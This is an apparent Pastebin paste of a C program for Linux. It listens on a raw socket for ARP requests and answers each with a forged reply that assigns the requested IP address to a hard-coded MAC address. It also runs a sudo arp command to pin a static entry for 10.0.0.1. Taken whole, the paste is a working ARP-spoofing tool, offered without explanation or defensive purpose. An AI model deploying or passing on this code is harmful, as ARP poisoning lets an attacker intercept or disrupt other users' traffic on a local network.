Guest User

Untitled

a guest
May 23rd, 2013
749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.73 KB | None | 0 0
  1. #include <sys/socket.h>
  2. #include <sys/ioctl.h>
  3. #include <sys/time.h>
  4.  
  5. #include <asm/types.h>
  6.  
  7. #include <math.h>
  8. #include <string.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <signal.h>
  13.  
  14. #include <linux/if_packet.h>
  15. #include <linux/if_ether.h>
  16. #include <linux/if_arp.h>
  17.  
  18. #define BUF_SIZE 42
  19. #define DEVICE "eth0"
  20. #define ETH_P_NULL 0x0
  21. #define ETH_MAC_LEN ETH_ALEN
  22. #define ETH_ARP 0x0806
  23.  
  24. int s = 0; /*Socketdescriptor*/
  25. void* buffer = NULL;
  26. long total_packets = 0;
  27. long answered_packets = 0;
  28.  
  29. void sigint(int signum);
  30.  
  31. struct __attribute__((packed)) arp_header
  32. {
  33. unsigned short arp_hd;
  34. unsigned short arp_pr;
  35. unsigned char arp_hdl;
  36. unsigned char arp_prl;
  37. unsigned short arp_op;
  38. unsigned char arp_sha[6];
  39. unsigned char arp_spa[4];
  40. unsigned char arp_dha[6];
  41. unsigned char arp_dpa[4];
  42. };
  43. int main(void) {
  44. buffer = (void*)malloc(BUF_SIZE); /*Buffer for Ethernet Frame*/
  45. unsigned char* etherhead = buffer;  /*Pointer to Ethenet Header*/
  46. struct ethhdr *eh = (struct ethhdr *)etherhead; /*Another pointer to
  47. ethernet header*/
  48. unsigned char* arphead = buffer + 14;
  49. struct arp_header *ah;
  50. unsigned char src_mac[6];    /*our MAC address*/
  51.  
  52. struct ifreq ifr;
  53. struct sockaddr_ll socket_address;
  54. int ifindex = 0;     /*Ethernet Interface index*/
  55. int i;
  56. int length;  /*length of received packet*/
  57. int sent;
  58.  
  59. printf("Server started, entering initialiation phase...\n");
  60.  
  61. /*open socket*/
  62. s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  63. if (s == -1) {
  64. perror("socket():");
  65. exit(1);
  66. }
  67. printf("Successfully opened socket: %i\n", s);
  68.  
  69. /*retrieve ethernet interface index*/
  70. strncpy(ifr.ifr_name, DEVICE, IFNAMSIZ);
  71. if (ioctl(s, SIOCGIFINDEX, &ifr) == -1) {
  72. perror("SIOCGIFINDEX");
  73. exit(1);
  74. }
  75. ifindex = ifr.ifr_ifindex;
  76. printf("Successfully got interface index: %i\n", ifindex);
  77.  
  78. /*retrieve corresponding MAC*/
  79. if (ioctl(s, SIOCGIFHWADDR, &ifr) == -1) {
  80. perror("SIOCGIFINDEX");
  81. exit(1);
  82. }
  83. for (i = 0; i < 6; i++) {
  84. src_mac[i] = ifr.ifr_hwaddr.sa_data[i];
  85. }
  86. printf("Successfully got our MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  87. src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
  88.  
  89. /*prepare sockaddr_ll*/
  90. socket_address.sll_family = PF_PACKET;
  91. socket_address.sll_protocol = htons(ETH_P_IP);
  92. socket_address.sll_ifindex = ifindex;
  93. socket_address.sll_hatype = ARPHRD_ETHER;
  94. socket_address.sll_pkttype = PACKET_OTHERHOST;
  95. socket_address.sll_halen = 0;
  96. socket_address.sll_addr[6] = 0x00;
  97. socket_address.sll_addr[7] = 0x00;
  98. /*establish signal handler*/
  99. signal(SIGINT, sigint);
  100. printf("Successfully established signal handler for SIGINT\n");
  101. printf("We are in production state, waiting for incoming packets....\n");
  102.  
  103. while (1) {
  104. /*Wait for incoming packet...*/
  105. length = recvfrom(s, buffer, BUF_SIZE, 0, NULL, NULL);
  106. if (length == -1)
  107. {
  108. perror("recvfrom():");
  109. exit(1);
  110. }
  111. if(htons(eh->h_proto) == 0x806)
  112. {
  113.  
  114. unsigned char buf_arp_dha[6];
  115. unsigned char buf_arp_dpa[4];
  116.  
  117. ah = (struct arp_header *)arphead;
  118. if(htons(ah->arp_op) != 0x0001)
  119. continue;
  120. printf("buffer is---------------- %s \n",(char*)ah);
  121. printf("H/D TYPE : %x PROTO TYPE : %x \n",ah->arp_hd,ah->arp_pr);
  122. printf("H/D leng : %x PROTO leng : %x \n",ah->arp_hdl,ah->arp_prl);
  123. printf("OPERATION : %x \n", ah->arp_op);
  124. printf("SENDER MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  125. ah->arp_sha[0],
  126. ah->arp_sha[1],
  127. ah->arp_sha[2],
  128. ah->arp_sha[3],
  129. ah->arp_sha[4],
  130. ah->arp_sha[5]
  131. );
  132. printf("SENDER IP address: %02d:%02d:%02d:%02d\n",
  133. ah->arp_spa[0],
  134. ah->arp_spa[1],
  135. ah->arp_spa[2],
  136. ah->arp_spa[3]
  137. );
  138. if(ah->arp_spa[0]==10&&ah->arp_spa[1]==00&&ah->arp_spa[2]==00&&ah->arp_spa[3]==01)
  139. {
  140. printf("Sender ip is .............bam bam..........................................\n");
  141. system("sudo arp -s 10.0.0.1  00:1e:73:91:04:0d");
  142. }
  143. printf("TARGET MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  144. ah->arp_dha[0],
  145. ah->arp_dha[1],
  146. ah->arp_dha[2],
  147. ah->arp_dha[3],
  148. ah->arp_dha[4],
  149. ah->arp_dha[5]
  150. );
  151. printf("TARGET IP address: %02d:%02d:%02d:%02d\n",
  152. ah->arp_dpa[0],
  153. ah->arp_dpa[1],
  154. ah->arp_dpa[2],
  155. ah->arp_dpa[3]
  156. );
  157.  
  158. printf("+++++++++++++++++++++++++++++++++++++++\n" );
  159. printf("ETHER DST MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  160. eh->h_dest[0],
  161. eh->h_dest[1],
  162. eh->h_dest[2],
  163. eh->h_dest[3],
  164. eh->h_dest[4],
  165. eh->h_dest[5]
  166. );
  167. printf("ETHER SRC MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  168. eh->h_source[0],
  169. eh->h_source[1],
  170. eh->h_source[2],
  171. eh->h_source[3],
  172. eh->h_source[4],
  173. eh->h_source[5]
  174. );
  175. memcpy( (void*)etherhead, (const void*)(etherhead+ETH_MAC_LEN),
  176. ETH_MAC_LEN);
  177. memcpy( (void*)(etherhead+ETH_MAC_LEN), (const void*)src_mac,
  178. ETH_MAC_LEN);
  179. eh->h_proto = ETH_ARP;
  180. printf("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& \n");
  181. printf("ETHER DST MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  182. eh->h_dest[0],
  183. eh->h_dest[1],
  184. eh->h_dest[2],
  185. eh->h_dest[3],
  186. eh->h_dest[4],
  187. eh->h_dest[5]
  188. );
  189. printf("ETHER SRC MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  190. eh->h_source[0],
  191. eh->h_source[1],
  192. eh->h_source[2],
  193. eh->h_source[3],
  194. eh->h_source[4],
  195. eh->h_source[5]
  196. );
  197. ah->arp_hd = ntohs(ah->arp_hd);
  198. ah->arp_pr = ntohs(ah->arp_pr);
  199.  
  200. ah->arp_op = 0x0002;
  201.  
  202. buf_arp_dpa[0] = ah->arp_dpa[0];
  203. buf_arp_dpa[1] = ah->arp_dpa[1];
  204. buf_arp_dpa[2] = ah->arp_dpa[2];
  205. buf_arp_dpa[3] = ah->arp_dpa[3];
  206.  
  207. ah->arp_dha[0] = ah->arp_sha[0];
  208. ah->arp_dha[1] = ah->arp_sha[1];
  209. ah->arp_dha[2] = ah->arp_sha[2];
  210. ah->arp_dha[3] = ah->arp_sha[3];
  211. ah->arp_dha[4] = ah->arp_sha[4];
  212. ah->arp_dha[5] = ah->arp_sha[5];
  213.  
  214. ah->arp_dpa[0] = ah->arp_spa[0];
  215. ah->arp_dpa[1] = ah->arp_spa[1];
  216. ah->arp_dpa[2] = ah->arp_spa[2];
  217. ah->arp_dpa[3] = ah->arp_spa[3];
  218.  
  219. ah->arp_spa[0] = buf_arp_dpa[0];
  220. ah->arp_spa[1] = buf_arp_dpa[1];
  221. ah->arp_spa[2] = buf_arp_dpa[2];
  222. ah->arp_spa[3] = buf_arp_dpa[3];
  223. //change the sender mac address
  224. ah->arp_sha[0] = 0x00;
  225. ah->arp_sha[1] = 0x1e;
  226. ah->arp_sha[2] = 0x73;
  227. ah->arp_sha[3] = 0x78;
  228. ah->arp_sha[4] = 0x9a;
  229. ah->arp_sha[5] = 0x0d;
  230.  
  231. socket_address.sll_addr[0] = eh->h_dest[0];
  232. socket_address.sll_addr[1] = eh->h_dest[1];
  233. socket_address.sll_addr[2] = eh->h_dest[2];
  234. socket_address.sll_addr[3] = eh->h_dest[3];
  235. socket_address.sll_addr[4] = eh->h_dest[4];
  236. socket_address.sll_addr[5] = eh->h_dest[5];
  237. printf("=======================================\n" );
  238. printf("SENDER MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  239. ah->arp_sha[0],
  240. ah->arp_sha[1],
  241. ah->arp_sha[2],
  242. ah->arp_sha[3],
  243. ah->arp_sha[4],
  244. ah->arp_sha[5]
  245. );
  246. printf("SENDER IP address: %02d:%02d:%02d:%02d\n",
  247. ah->arp_spa[0],
  248. ah->arp_spa[1],
  249. ah->arp_spa[2],
  250. ah->arp_spa[3]
  251. );
  252. if((ah->arp_spa[0]==10 && ah->arp_spa[1]==0 && ah->arp_spa[2]==0 && ah->arp_spa[3]==1))
  253. printf("------------------------------------------10.0.0.1-----------------------------------------\n");
  254. printf("TARGET MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  255. ah->arp_dha[0],
  256. ah->arp_dha[1],
  257. ah->arp_dha[2],
  258. ah->arp_dha[3],
  259. ah->arp_dha[4],
  260. ah->arp_dha[5]
  261. );
  262. printf("TARGET IP address: %02d:%02d:%02d:%02d\n",
  263. ah->arp_dpa[0],
  264. ah->arp_dpa[1],
  265. ah->arp_dpa[2],
  266. ah->arp_dpa[3]
  267. );
  268. printf("H/D TYPE : %x PROTO TYPE : %x \n",ah->arp_hd,ah->arp_pr);
  269. printf("H/D leng : %x PROTO leng : %x \n",ah->arp_hdl,ah->arp_prl);
  270. printf("OPERATION : %x \n", ah->arp_op);
  271.  
  272. sent = sendto(s, buffer, BUF_SIZE, 0, (struct
  273. sockaddr*)&socket_address, sizeof(socket_address));
  274. if (sent == -1)
  275. {
  276. perror("sendto():");
  277. exit(1);
  278. }
  279.  
  280. answered_packets++;
  281.  
  282. }
  283.  
  284. total_packets++;
  285.  
  286. }
  287. }
  288. void sigint(int signum) {
  289. /*Clean up.......*/
  290.  
  291. struct ifreq ifr;
  292.  
  293. if (s == -1)
  294. return;
  295.  
  296. strncpy(ifr.ifr_name, DEVICE, IFNAMSIZ);
  297. ioctl(s, SIOCGIFFLAGS, &ifr);
  298. ifr.ifr_flags &= ~IFF_PROMISC;
  299. ioctl(s, SIOCSIFFLAGS, &ifr);
  300. close(s);
  301.  
  302. free(buffer);
  303.  
  304. printf("Server terminating....\n");
  305.  
  306. printf("Totally received: %ld packets\n", total_packets);
  307. printf("Answered %ld packets\n", answered_packets);
  308. exit(0);
  309. }
Advertisement
Add Comment
Please, Sign In to add comment